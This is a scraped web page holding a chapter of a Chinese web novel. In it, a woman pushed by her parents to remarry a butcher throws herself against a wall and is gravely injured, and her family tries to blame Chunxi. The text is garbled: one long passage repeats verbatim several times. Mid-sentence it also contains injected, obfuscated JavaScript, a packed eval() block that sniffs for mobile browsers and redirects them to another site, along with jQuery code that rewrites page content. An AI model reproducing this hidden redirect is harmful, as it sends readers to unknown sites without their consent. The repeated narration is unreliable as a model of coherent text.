钱氏第一次这么大声地跟钱父说话,钱父没有心虚,反而因为被顶撞而恼怒。 “李屠户会打死他妻子是因为那两个女人生不出孩子,是下不了蛋的鸡,你都已经生了正儿了,肯定也能给他生个大胖小子,他出的聘礼比曹武可多多了,他的猪肉铺子也比曹武赚钱,你嫁过去是享福的,你跟我吼什么?” 钱父说着又要**,钱氏吓得躲到春喜身后,虎叔和随行的护院立刻拦住钱父。 虎叔的眼神带着杀气,钱父知道打不过,只能冲春喜说:“沈夫人,我女儿跟你大哥已经没有关系了,你没有权力来插手我家里的事。” 春喜颔首,顺着钱父的话说:“伯父说得对,我的确没有权利阻止你嫁女儿。” 听到这话,钱父的气势顿时高涨起来,他恶狠狠地瞪着钱氏:“听到没有,她管不了咱家的事,还不给我滚过来?” 钱氏没动,她很清楚,这是她唯一的机会。 一旦春喜走了,就真的不会有人管她和正儿了。 “爹,我说了我不嫁,这辈子我只喜欢武哥一个人。” “嘿,我看你真是反了天了……” 钱父啐了口口水,在院子里搜寻起趁手的东西来。 他今天得好好管管这个逆女才行,不然以后她眼里哪还有他这个爹? 很快,钱父就从角落里找到了一把扫帚。 他抄起扫帚越过虎叔和护院,追着钱氏开打,钱氏刚开始还盼着春喜能让人出手拦着钱父,发现春喜真的只是围观,并不插手之后,心底生出绝望。 闹了一阵,钱氏停下,红着眼瞪着钱父:“爹,你要是再逼我,我今天就撞死在你面前!” “好啊,你撞啊,就你这胆子,连鸡都不敢杀,还敢寻死?” 钱父不以为意,说着风凉话。 钱氏咬唇,一股无力感涌上心头。 她怕疼,确实不敢死,更舍不得死。 正儿还这么小,她还等着看正儿成婚生子呢。 钱氏没了动静,钱父越发得意:“怎么不动了,**啊,我养你这么多年,你还没报答我的生养之恩,倒是学会以死相逼了,看来出嫁 这两年还真是长能耐了呢。” 钱父话里都是讽刺,被从美梦中叫醒的钱家大嫂也忍不住说风凉话:“妹妹,你能不能消停点儿,这几个月你和正儿在家白吃白喝也就算了,现在还招来外人闹得全家都不安宁,这不是存心让村里人看笑话吗?” 钱家大嫂这句“外人”明显是针对的春喜。 春喜没说什么,带着虎叔和几个护院准备离开。 见她要走,钱母阴阳怪气地开口:“哟,亲家小姑这就要走啦?你说你都做官夫人了,要来就光明正大地来,这大半夜偷偷摸摸搞这一出,不知道的还以为你来我家偷人呢。” 这话既是讽刺,又是拐着弯儿的骂人。 春喜没有反驳,但在钱氏听来却刺耳极了。 阿喜是为了帮她才来这里的。 可她是个没有出息的人,根本反抗不了家里,还害得阿喜被骂。 阿喜说得对,她得自己跟娘家做个决断才行,不然阿喜能帮她一次,爹娘却能缠上来无数次,就算她这次回到曹家,也还是永无宁日。 她会拖累武哥,拖累正儿。 她这辈子都只能活在娘家人的脚下。 可凭什么呢? 她也想像阿喜那样,和武哥一起把日子过得红火起来。 眼看春喜已经要走出钱家,钱氏心一横,猛地发力朝主屋的墙撞去。 嘭! 一声闷哼之后,钱氏软软倒地,她的额头被撞出很大一个血窟窿,殷红的血不住涌出,很快将地上的积雪染红一片。 “啊!!” 钱家几个孩子吓得惊声叫起,钱母在片刻的怔愣后,号啕着扑向钱氏。 方才还不以为意的钱父也被这一幕吓得失语,钱氏的兄嫂见状更是心虚不已。 钱父钱母扣着钱氏不放,还张罗起让她改嫁的事,就是为了跟曹武较劲,拿捏曹武,只要曹武这次做了让步,他们就能顺势加入曹武的木匠铺子分一杯羹,日后说不定还能攀上曹春喜,沾沾沈清渊的光。 就算曹武不肯让步,李屠户出的聘礼也不少,等钱氏再给李屠户生下儿子,他们也能经常去李屠户的猪肉铺**打牙祭。 不管怎么样这对他们全家都是有利的事,他们自然不会顾及钱氏夹在中间是怎样的煎熬为难。 “死丫头,你怎么能这么傻啊,这不是还没有到日子吗,曹武肯定会来接你们娘俩的,你怎么能真的想不开啊!” 钱母嚎啕大哭,钱父回过神来,第一时间冲上去查探钱氏的鼻息。 钱氏还活着,但气息很微弱。 钱母也反应过来,冲自己的儿子媳妇大喊:“愣着做什么,快去请郎中来救救你妹妹啊。” 钱氏的大哥闻言就要去找人,却被自家媳妇儿拉住。 钱家大嫂没好气道:“妹妹这伤这么重,村里的大夫哪里治得好,得送进城才行,要不是今晚沈夫人突然来我们家,妹妹也不能寻短见,这事应该沈夫人负责吧。” 钱家大嫂这么一说,钱家所有人立刻看向春喜。 钱父也要跟着赖上春喜,春喜抢先道:“我刚刚可什么都没做,也什么都没说,如果你们非要讹我,那就只能报官了,若是官府判定是我的错,我就出钱给她治伤。” “不行,我女儿伤得这么重,还流了这么多血,根本等不起,你现在就带她进城治伤。” 钱母第一时间反对,春喜冷漠道:“她跟我哥已经没有关系了,刚刚也是你们叫她**的,她等不起关我屁事?” 春喜说完大步离开,钱家人想拦,被虎叔的眼神一瞪,吓得退了回去。 见春喜当真不管钱氏的死活,钱家人最终只能找来牛车,趁着宵禁之前送钱氏进城看大夫。 大夫诊完脉,长叹了一口气摇头道:“伤得太重了,就算保住一条命恐怕以后也只能一直昏迷瘫痪在床。” 一直昏迷瘫痪,那不是彻底成了累赘只能让人伺候吗? 那保住命有什么意义? 钱父皱紧眉头,最终推着牛车去到曹家,哐哐砸门叫醒曹武和王氏:“我女儿是因为曹春喜才变成现在这样的,你们曹家必须对他们娘俩负责!” 钱氏还活着,但气息很微弱。 钱母也反应过来,冲自己的儿子媳妇大喊:“愣着做什么,快去请郎中来救救你妹妹啊。” 钱氏的大哥闻言就要去找人,却被自家媳妇儿拉住。 钱家大嫂没好气道:“妹妹这伤这么重,村里的大夫哪里治得好,得送进城才行,要不是今晚沈夫人突然来我们家,妹妹也不能寻短见,这事应该沈夫人负责吧。” 钱家大嫂这么一说,钱家所有人立刻看向春喜。 钱父也要跟着赖上春喜,春喜抢先道:“我刚刚可什么都没做,也什么都没说,如果你们非要讹我,那就只能报官了,若是官府判定是我的错,我就出钱给她治伤。” “不行,我女儿伤得这么重,还流了这么多血,根本等不起,你现在就带她进城治伤。” 钱母第一时间反对,春喜冷漠道:“她跟我哥已经没有关系了,刚刚也是你们叫她**的,她等不起关我屁事?” 春喜说完大步离开,钱家人想拦,被虎叔的眼神一瞪,吓得退了回去。 见春喜当真不管钱氏的死活,钱家人最终只能找来牛车,趁着宵禁之前送钱氏进城看大夫。 大夫诊完脉,长叹了一口气摇头道:“伤得太重了,就算保住一条命恐怕以后也只能一直昏迷瘫痪在床。” 一直昏迷瘫痪,那不是彻底成了累赘只能让人伺候吗? 那保住命有什么意义? 钱父皱紧眉头,最终推着牛车去到曹家,哐哐砸门叫醒曹武和王氏:“我女儿是因为曹春喜才变成现在这样的,你们曹家必须对他们娘俩负责!” 钱氏还活着,但气息很微弱。 钱母也反应过来,冲自己的儿子媳妇大喊:“愣着做什么,快去请郎中来救救你妹妹啊。” 钱氏的大哥闻言就要去找人,却被自家媳妇儿拉住。 钱家大嫂没好气道:“妹妹这伤这么重,村里的大夫哪里治得好,得送进城才行,要不是今晚沈夫人突然来我们家,妹妹也不能寻短见,这事应该沈夫人负责吧。” 钱家大嫂这么一说,钱家所有人立刻看向春喜。 钱父也要跟着赖上春喜,春喜抢先道:“我刚刚可什么都没做,也什么都没说,如果你们非要讹我,那就只能报官了,若是官府判定是我的错,我就出钱给她治伤。” “不行,我女儿伤得这么重,还流了这么多血,根本等不起,你现在就带她进城治伤。” 钱母第一时间反对,春喜冷漠道:“她跟我哥已经没有关系了,刚刚也是你们叫她**的,她等不起关我屁事?” 春喜说完大步离开,钱家人想拦,被虎叔的眼神一瞪,吓得退了回去。 见春喜当真不管钱氏的死活,钱家人最终只能找来牛车,趁着宵禁之前送钱氏进城看大夫。 大夫诊完脉,长叹了一口气摇头道:“伤得太重了,就算保住一条命恐怕以后也只能一直昏迷瘫痪在床。” 一直昏迷瘫痪,那不是彻底成了累赘只能让人伺候吗? 那保住命有什么意义? 钱父皱紧眉头,最终推着牛车去到曹家,哐哐砸门叫醒曹武和王氏:“我女儿是因为曹春喜才变成现在这样的,你们曹家必须对他们娘俩负责!” 钱氏还活着,但气息很微弱。 钱母也反应过来,冲自己的儿子媳妇大喊:“愣着做什么,快去请郎中来救救你妹妹啊。” 钱氏的大哥闻言就要去找人,却被自家媳妇儿拉住。 钱家大嫂没好气道:“妹妹这伤这么重,村里的大夫哪里治得好,得送进城才行,要不是今晚沈夫人突然来我们家,妹妹也不能寻短见,这事应该沈夫人负责吧。” 钱家大嫂这么一说,钱家所有人立刻看向春喜。 钱父也要跟着赖上春喜,春喜抢先道:“我刚刚可什么都没做,也什么都没说,如果你们非要讹我,那就只能报官了,若是官府判定是我的错,我就出钱给她治伤。” “不行,我女儿伤得这么重,还流了这么多血,根本等不起,你现在就带她进城治伤。” 钱母第一时间反对,春喜冷漠道:“她跟我哥已经没有关系了,刚刚也是你们叫她**的,她等不起关我屁事?” 春喜说完大步离开,钱家人想拦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16334102|171571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,被虎叔的眼神一瞪,吓得退了回去。 见春喜当真不管钱氏的死活,钱家人最终只能找来牛车,趁着宵禁之前送钱氏进城看大夫。 大夫诊完脉,长叹了一口气摇头道:“伤得太重了,就算保住一条命恐怕以后也只能一直昏迷瘫痪在床。” 一直昏迷瘫痪,那不是彻底成了累赘只能让人伺候吗? 那保住命有什么意义? 钱父皱紧眉头,最终推着牛车去到曹家,哐哐砸门叫醒曹武和王氏:“我女儿是因为曹春喜才变成现在这样的,你们曹家必须对他们娘俩负责!” 钱氏还活着,但气息很微弱。 钱母也反应过来,冲自己的儿子媳妇大喊:“愣着做什么,快去请郎中来救救你妹妹啊。” 钱氏的大哥闻言就要去找人,却被自家媳妇儿拉住。 钱家大嫂没好气道:“妹妹这伤这么重,村里的大夫哪里治得好,得送进城才行,要不是今晚沈夫人突然来我们家,妹妹也不能寻短见,这事应该沈夫人负责吧。” 钱家大嫂这么一说,钱家所有人立刻看向春喜。 钱父也要跟着赖上春喜,春喜抢先道:“我刚刚可什么都没做,也什么都没说,如果你们非要讹我,那就只能报官了,若是官府判定是我的错,我就出钱给她治伤。” “不行,我女儿伤得这么重,还流了这么多血,根本等不起,你现在就带她进城治伤。” 钱母第一时间反对,春喜冷漠道:“她跟我哥已经没有关系了,刚刚也是你们叫她**的,她等不起关我屁事?” 春喜说完大步离开,钱家人想拦,被虎叔的眼神一瞪,吓得退了回去。 见春喜当真不管钱氏的死活,钱家人最终只能找来牛车,趁着宵禁之前送钱氏进城看大夫。 大夫诊完脉,长叹了一口气摇头道:“伤得太重了,就算保住一条命恐怕以后也只能一直昏迷瘫痪在床。” 一直昏迷瘫痪,那不是彻底成了累赘只能让人伺候吗? 那保住命有什么意义? 钱父皱紧眉头,最终推着牛车去到曹家,哐哐砸门叫醒曹武和王氏:“我女儿是因为曹春喜才变成现在这样的,你们曹家必须对他们娘俩负责!” 钱氏还活着,但气息很微弱。 钱母也反应过来,冲自己的儿子媳妇大喊:“愣着做什么,快去请郎中来救救你妹妹啊。” 钱氏的大哥闻言就要去找人,却被自家媳妇儿拉住。 钱家大嫂没好气道:“妹妹这伤这么重,村里的大夫哪里治得好,得送进城才行,要不是今晚沈夫人突然来我们家,妹妹也不能寻短见,这事应该沈夫人负责吧。” 钱家大嫂这么一说,钱家所有人立刻看向春喜。 钱父也要跟着赖上春喜,春喜抢先道:“我刚刚可什么都没做,也什么都没说,如果你们非要讹我,那就只能报官了,若是官府判定是我的错,我就出钱给她治伤。” “不行,我女儿伤得这么重,还流了这么多血,根本等不起,你现在就带她进城治伤。” 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